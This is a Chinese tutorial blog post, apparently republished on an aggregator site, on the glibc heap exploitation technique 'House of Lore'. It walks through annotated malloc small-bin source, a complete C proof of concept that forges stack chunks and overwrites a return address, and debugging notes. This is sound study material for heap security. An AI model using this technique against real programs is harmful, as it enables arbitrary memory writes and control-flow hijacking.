House of Lore

House of Lore

概述:

  1. House of Lore 攻击与 Glibc 堆管理中的 Small Bin 的机制紧密相关。
  2. House of Lore 可以实现分配任意指定位置的 chunk,从而修改任意地址的内存。
  3. House of Lore 利用的前提是需要控制 Small Bin Chunk 的 bk 指针,并且控制指定位置 chunk 的 fd 指针。

基本原理:

  1. 如果在 malloc 的时候,申请的内存块在 small bin 范围内,那么执行的流程如下:

        /*If a small request, check regular bin.  Since these "smallbins"hold one size each, no searching within bins is necessary.(For a large request, we need to wait until unsorted chunks areprocessed to find best fit. But for small ones, fits are exactanyway, so we can check now, which is faster.)*/if (in_smallbin_range(nb)) {// 获取 small bin 的索引idx = smallbin_index(nb);// 获取对应 small bin 中的 chunk 指针bin = bin_at(av, idx);// 先执行 victim= last(bin),获取 small bin 的最后一个 chunk// 如果 victim = bin ,那说明该 bin 为空。// 如果不相等,那么会有两种情况if ((victim = last(bin)) != bin) {// 第一种情况,small bin 还没有初始化。if (victim == 0) /* initialization check */// 执行初始化,将 fast bins 中的 chunk 进行合并malloc_consolidate(av);// 第二种情况,small bin 中存在空闲的 chunkelse {// 获取 small bin 中倒数第二个 chunk 。bck = victim->bk;// 检查 bck->fd 是不是 victim,防止伪造if (__glibc_unlikely(bck->fd != victim)) {errstr = "malloc(): smallbin double linked list corrupted";goto errout;}// 设置 victim 对应的 inuse 位set_inuse_bit_at_offset(victim, nb);// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来bin->bk = bck;bck->fd = bin;// 如果不是 main_arena,设置对应的标志if (av != &main_arena) set_non_main_arena(victim);// 细致的检查check_malloced_chunk(av, victim, nb);// 将申请到的 chunk 转化为对应的 mem 状态void *p = chunk2mem(victim);// 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xffalloc_perturb(p, bytes);return p;}}}
    

    从下面的这部分我们可以看出,如果我们可以修改 small bin 的最后一个 chunk 的 bk 为我们指定内存地址的 fake chunk,并且同时 满足bck->fd == victim 的检测(需要伪造两个chunk),那么我们就可以使得 small bin 的 bk 恰好为我们构造的 fake chunk。也就是说,当下一次申请 small bin 的时候,我们就会分配到指定位置的 fake chunk:

                    // 获取 small bin 中倒数第二个 chunk 。bck = victim->bk;// 检查 bck->fd 是不是 victim,防止伪造if (__glibc_unlikely(bck->fd != victim)) {errstr = "malloc(): smallbin double linked list corrupted";goto errout;}// 设置 victim 对应的 inuse 位set_inuse_bit_at_offset(victim, nb);// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来bin->bk = bck;bck->fd = bin;
    

示例代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>void jackpot(){ puts("Nice jump d00d"); exit(0); }int main(int argc, char * argv[]){intptr_t* stack_buffer_1[4] = {0};intptr_t* stack_buffer_2[3] = {0};fprintf(stderr, "\nWelcome to the House of Lore\n");fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n");fprintf(stderr, "Allocating the victim chunk\n");intptr_t *victim = malloc(100);fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunkintptr_t *victim_chunk = victim-2;fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);fprintf(stderr, "Create a fake chunk on the stack");fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted""in second to the last malloc, which putting stack address on smallbin list\n");stack_buffer_1[0] = 0;stack_buffer_1[1] = 0;stack_buffer_1[2] = victim_chunk;fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 ""in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake ""chunk on stack");stack_buffer_1[3] = (intptr_t*)stack_buffer_2;stack_buffer_2[2] = (intptr_t*)stack_buffer_1;fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with""the small one during the free()\n");void *p5 = malloc(1000);fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);free((void*)victim);fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);void *p2 = malloc(1200);fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);//------------VULNERABILITY-----------fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack//------------------------------------fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");void *p3 = malloc(100);fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");char *p4 = malloc(100);fprintf(stderr, "p4 = malloc(100)\n");fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",stack_buffer_2[2]);fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stackintptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcodememcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}

但是需要注意的是:

  1. void *p5 = malloc(1000); 是为了防止和 victim_chunk 之后和 top_chunk 合并。
  2. free((void*)victim),victim 会被放入到 unsort bin 中去:
    • 然后下一次分配的大小如果比它大,那么将从 top chunk 上分配相应大小,而该 chunk 会被取下 link 到相应的 bin 中 (smallbin 或是 large bin)。
    • 如果比它小 (相等则直接返回),则从该 chunk 上切除相应大小,并返回相应 chunk,剩下的成为 last reminder chunk , 还是存在 unsorted bin 中。

调试分析:

  1. 这三个位置的赋值,是为先后两次申请small bin时绕过检查的:

    image-20240729190133517

    第一处在fake_chunk的fd上放small bin中的chunk地址:

    image-20240729190224111

    第二三次赋值是为了申请fake_chunk时绕过检查:1. 在fake_chunk的bk指针放上fake_chunk2的地址,2. 在fake_chunk2的fd指针上放上fake_chunk1的地址:

    image-20240729190741074

  2. 在这里打上断点,free后观察chunk状态:

    image-20240729180444858

    vicitim顺利进入unsorted bin:

    image-20240729180528527

  3. 这里打断点,malloc之后再观察unsorted bin和small bin的状态:

    image-20240729180735511

    victim成功进入small bin

    image-20240729180839109

  4. 这里修改victim的bk指针

    image-20240729181002115

    成功将bk指向栈上,且栈上的fake chunk的fd指针前面被修改指向victim(绕过检查):

    image-20240729181626738

  5. 申请一个small bin,下一次申请small bin时就会申请到fake chunk(当然也要绕过检查):

    在这里插入图片描述

    image-20240729184409545

  6. 这里申请到fake chunk:

    image-20240729182240901

    image-20240729183132631

总结:

  1. 要利用small bin实现任意地址分配chunk,要满足一下条件:

    • 能修改small bin中chunk(victim)的bk指针:victim–>bk=fake_chunk1。
    • 要能伪造两个fake_chunk1、fake_chunk2,修改fake_chunk1的fd和bk指针,修改fake_chunk2的fd指针:
      • fake_chunk1–>fd = victim 且 fake_chunk1–>bk = fake_chunk2
      • fake_chunk2–>fd = fake_chunk1
  2. 最总实现的效果是,实现任意地址分配chunk:分配到fake_chunk1。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/50658.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android中如何手动制造logcat各等级日志(VERBOSE、DEBUG、INFO、WARNING、ERROR、FATAL)

文章目录 1、logcat与log工具2、通过log生成logcat日志2.1、logcat日志等级2.2、log指令说明2.3、log生成日志指令 3、制作日志生成shell脚本4、增加日志生成控制5、附录 1、logcat与log工具 logcat&#xff1a;是Android操作系统中用于记录和查看系统日志的工具。它是Android…

如何在 VPS 上安装和使用 VirtualMin

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。 关于 Virtualmin Virtualmin 是 Webmin 的一个模块&#xff0c;允许对&#xff08;多个&#xff09;虚拟专用服务器进行广泛的管理。您…

【华为OD机考】2024D卷最全真题【完全原创题解 | 详细考点分类 | 不断更新题目】

可上 欧弟OJ系统 练习华子OD、大厂真题 绿色聊天软件戳 od1441了解算法冲刺训练&#xff08;备注【CSDN】否则不通过&#xff09; 文章目录 相关推荐阅读栈常规栈单调栈 队列&#xff08;题目极少&#xff0c;几乎不考&#xff09;哈希哈希集合哈希表 前缀和双指针同向双指针 贪…

七、SpringBoot日志

1. 得到日志对象 import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; //打印日志…

C++程序使用开源zlib库对二进制字节流数据进行压缩和解压(附源码)

目录 1、概述 2、zlib开源库与开源zip.cpp和unzip.cpp的区别 3、发送端先调用compress压缩,再将数据发出去 4、接收端接收到数据,调用uncompress解压,解压后再使用 5、最后 C++软件异常排查从入门到精通系列教程(专栏文章列表,欢迎订阅,持续更新...)https://blog.c…

c++-封装案例-设计学生类

类中的属性和行为统称为成员&#xff0c;属性&#xff1a;成员属性、成员变量&#xff1b;行为&#xff1a;成员函数&#xff0c;成员方法。

黛米·摩尔和她的孙女卢埃塔在这张飘逸的快照很亲密

卢埃塔和她的祖母黛米摩尔显然是最好的朋友&#xff0c;这张飘逸的快照证明了这一点。准备好“哇&#xff01;” 7 月 26 日&#xff0c;摩尔分享了一张非常迷人的照片&#xff0c;照片上有她、她的两个女儿和她的孙女在她昂贵的后院。她在照片中配文说&#xff1a;“夏日&…

vue3-环境变量-JavaScript-axio-基础使用-lzstring-字符串压缩-python

文章目录 1.Vue3环境变量1.1.简介1.2.全局变量的引用1.3.package.json文件 2.axio2.1.promise2.2.安装2.3.配置2.3.1.全局 axios 默认值2.3.2.响应信息格式 2.4.Axios的拦截器2.4.1.请求拦截器2.4.2.响应拦截器2.4.3.移除拦截器2.4.4.自定义实例添加拦截器 3.lz-string3.1.java…

回溯

组合问题 LeetCode77 组合 class Solution { public:vector<vector<int>>res;vector<int>list;void dfs(int begin,int n,int k){if(list.size()k){res.push_back(list);return;}for(int ibegin;i<n;i){list.push_back(i);dfs(i1,n,k);list.pop_back();}…

(源码分析)springsecurity认证授权

了解 1. 结构总览 SpringSecurity所解决的问题就是安全访问控制&#xff0c;而安全访问控制功能其实就是对所有进入系统的请求进行拦截&#xff0c;校验每个请求是否能够访问它所期望的资源。 根据前边知识的学习&#xff0c;可以通过Filter或AoP等技术来实现&#xff0c;Spr…

天津仁爱学院2024级专升本新同学开学报到提示

亲爱的2024级新同学: 亲爱的仁爱新人&#xff0c;你准备好了吗&#xff1f;祝福之余&#xff0c;关于入学报到还有以下几点提示&#xff1a; 01报到时间 报到时间:2024年9月1日。报到时请携带录取通知书和准考证。因参军保留入学资格或因病及其他原因不能按时报到的同学&#x…

主图趋势交易九稳量化系统 期货指标公式大全 最准的期货指标源码 看期货涨跌最简单的方法文华财经指标公式源码

交易的动机必须来自于内心&#xff0c;一种解决问题的执着。在整个交易生涯的漫长岁月里&#xff0c;无法始终保持这种热忱。除非亲身体验&#xff0c;否则很难理解这种疯狂的热忱。这是一种高度的专注&#xff0c;其他一切好像都不存在&#xff0c;视野之内没有其他的东西。这…

利用Python进行高效数据分析实践

引言 在当今的数据驱动世界中&#xff0c;能够有效地处理和分析数据已成为许多行业的核心竞争力。Python作为一种强大的编程语言&#xff0c;因其简洁易读的语法以及丰富的第三方库支持&#xff0c;在数据科学领域受到了广泛的欢迎。本文将介绍如何使用Python进行高效的数据分…

探索 Milvus 存储系统:如何评估和优化 Milvus 存储性能

欢迎来到探索 Milvus 系列。Milvus 是一款支持水平扩展和具备出色性能的开源向量数据库。Milvus 的核心是其强大的存储系统&#xff0c;是数据持久化和存储的关键基础。该系统包括几个关键组成部分&#xff1a;元数据存储&#xff08;meta storage&#xff09;、消息存储&#…

苹果电脑怎么使用Windows软件 苹果笔记本怎么安装Windows mac怎么安装windows

最早的苹果电脑的概念是在1976年的时候由乔布斯提出来的&#xff0c;在1977年的时候发行的第一款个人电脑&#xff0c;也就是苹果笔记本电脑。苹果笔记本的操作系统是MAC OSmac OS是基于unix内核的系统&#xff0c;这个系统是专门为苹果电脑开发的。macOS比windows的视觉冲击大…

Synchronized的锁升级过程是怎样的?

文章目录 一、Synchronized的使用1、修饰实例方法2、修饰静态方法3、修饰代码块4、总结&#xff1a; 二、Monitor1、Java对象头1.1 32 位虚拟机的对象头1.2 64位虚拟机的对象头 2、Mark Word 结构3、Moniter4、Synchronized 字节码5、轻量级锁6、锁膨胀7、自旋优化8、偏向锁9、…

C++ 代码实现局域网即时通信功能 (windows 系统 客户端)

本项目使用C实现具备多个客户端和服务器端即时通信聊天功能软件 一&#xff1a;项目内容 使用C实现一个具备多客户端和一个服务器端即时通信功能的聊天软件。 本项目的目的是 学习在windows平台下&#xff0c;进行C网络开发的基本概念&#xff1a;TCP/IP socket通信&#xff0…

Java集合之HashMap的数据结构分析

总所周知&#xff0c;Java中键值对集合&#xff0c;我们最常用的就是HashMap&#xff0c;那么它的数据结构&#xff0c;以及如何存储键值对&#xff0c;包括为什么使用红黑树&#xff0c;链表等许多数据结构&#xff0c;下面我们一起学习交流 1.HashMap的数据结构&#xff1a;…

scratch二次开发:如何修改toolbox宽度

大家好&#xff0c;我是小黄。 使用场景&#xff1a;有时候我们开发图形化编程时&#xff0c;我们的积木块很长&#xff0c;导致一部分无法显示&#xff0c;我们想要把目录区域位置放大&#xff0c;比如下面红色方框区域位置&#xff0c;那么改如何实现这个过程呢&#xff1f;…